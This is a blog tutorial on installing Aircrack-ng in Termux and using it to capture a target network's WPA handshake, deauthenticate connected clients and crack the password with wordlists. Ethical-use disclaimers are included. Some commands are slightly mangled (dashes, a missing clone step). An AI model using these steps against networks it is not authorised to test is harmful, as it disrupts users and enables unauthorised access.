Home Page Aircrack-ng In Termux
Aircrack-ng in Termux
Aircrack-ng is a powerful tool for network security testing, focusing on Wi-Fi network penetration and auditing. Follow this guide to install and use it responsibly.
1. Installation of Aircrack-ng in Termux
Step 1: Update and Upgrade Termux
Start by updating Termux to avoid dependency issues:
pkg update
pkg upgrade
Step 2: Install Necessary Packages
Install essential dependencies for Aircrack-ng:
pkg install root-repo
pkg install tsu
pkg install git wget libnl-dev pkg-config
pkg install openssl-dev
Step 3: Install Aircrack-ng
Download and build Aircrack-ng from source:
cd aircrack-ng
pkg install build-essential
./build.sh
make
make install
To verify installation:
aircrack-ng –help
2. Using Aircrack-ng
Step 1: Enable Monitor Mode
To use Aircrack-ng effectively, your device’s Wi-Fi adapter must support monitor mode. If you’re using an external adapter:
airmon-ng start wlan0
Step 2: Capture Packets
Use airodump-ng to scan for nearby Wi-Fi networks and capture packets:
airodump-ng wlan0mon
- Note the BSSID and channel of the target network.
Step 3: Focus on Target Network
Capture packets specifically from the target:
airodump-ng –bssid <BSSID> –channel <CHANNEL> -w <file_name> wlan0mon
Step 4: Deauthenticate a Client (Optional)
Send deauthentication packets to force a client to reconnect (useful for capturing a handshake):
aireplay –deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
Step 5: Crack the Captured Handshake
Use aircrack-ng to attempt cracking the WPA/WPA2 password using a wordlist:
aircrack-ng -w <wordlist_path> -b <BSSID> <file_name>.cap
3. Notes on Ethical Use
- Legal Use Only: Only perform penetration testing on networks you own or have explicit permission to test.
- Avoid Illegal Activities: Unauthorized network access is a violation of laws in most countries.
- Practice in Labs: Use platforms like Hack The Box or create your own test environment.
Common Issues and Fixes
- “Monitor mode not supported”:
- Ensure your device or external adapter supports monitor mode.
- “No handshake captured”:
- Increase deauthentication attempts or wait for legitimate reconnections.
- “Weak wordlist”:
- Use more comprehensive wordlists like RockYou.

Let’s dive deeper into specific steps of
Aircrack-ng installation and usage
1. Enabling Monitor Mode
Monitor mode allows your Wi-Fi adapter to capture packets from nearby networks. Here’s how to ensure it works:
Steps:
- Run this command to enable monitor mode:
codeairmon-ng start wlan0
Replace wlan0 with your Wi-Fi adapter’s name.
- Check if monitor mode is successfully enabled:
codeiwconfig
You should see wlan0mon (or similar) listed.
Troubleshooting:
- “Mode not supported” Error:
- Most mobile devices lack Wi-Fi adapters that support monitor mode. Use an external USB Wi-Fi adapter.
- Connect your adapter using an OTG cable.
- Failed to Enable Monitor Mode:
- Ensure you have root access (
tsuorsudo). - Restart network services:
- Ensure you have root access (
service networking restart
2. Capturing Packets with Airodump-ng
Packet capturing is crucial for identifying targets and obtaining WPA handshakes.
Steps:
- Start scanning for networks:
airodump-ng wlan0mon
- BSSID: Unique MAC address of the router.
- ESSID: Network name (SSID).
- Channel: Frequency channel of the network.
- Target a specific network:
airodump-ng –bssid <BSSID> –channel <CHANNEL> -w capture wlan0mon
Replace:
<BSSID>: Router’s MAC address.<CHANNEL>: Channel number of the target.
- The output (
capture-01.cap) will contain captured packets.
3. Deauthentication Attack
This step forces a device to disconnect and reconnect, allowing you to capture a WPA handshake.
Steps:
- Identify a connected client (station):
- While running
airodump-ng, look for devices under theSTATIONsection.
- Send deauthentication packets:
aireplay-ng –deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
Replace:
<BSSID>: Router’s MAC address.<CLIENT_MAC>: MAC address of the client device.
- Watch for a “WPA handshake” message in the terminal.
Troubleshooting:
- No Clients Listed:
- Wait for devices to connect to the network.
- Increase the range by improving antenna positioning.
4. Cracking the WPA/WPA2 Password
After capturing the handshake, use a wordlist to crack the password.
Steps:
- Use a wordlist to crack the captured handshake:
aircrack-ng -w /path/to/wordlist.txt -b <BSSID> capture-01.cap
Replace:
/path/to/wordlist.txt: Path to your wordlist (e.g.,rockyou.txt).<BSSID>: Router’s MAC address.
- If successful, Aircrack-ng will display the network’s password.
Tips for Success:
- Wordlist Matters: Use large, well-maintained wordlists like RockYou.
- Custom Wordlists: Use tools like
crunchorCewlto generate tailored wordlists:
crunch 8 12 abc123 -o custom_wordlist.txt
5. Ethical Hacking Advice
- Use Aircrack-ng only on networks you own or have explicit permission to test.
- Unauthorized use is illegal and punishable under cybersecurity laws.
- Learn and practice in controlled environments:
- Kali Linux Virtual Labs
- Platforms like Hack The Box or TryHackMe.
Read This Post In Hindi..
Go Home
Discover more from MNS.Code.Blog
Subscribe to get the latest posts sent to your email.
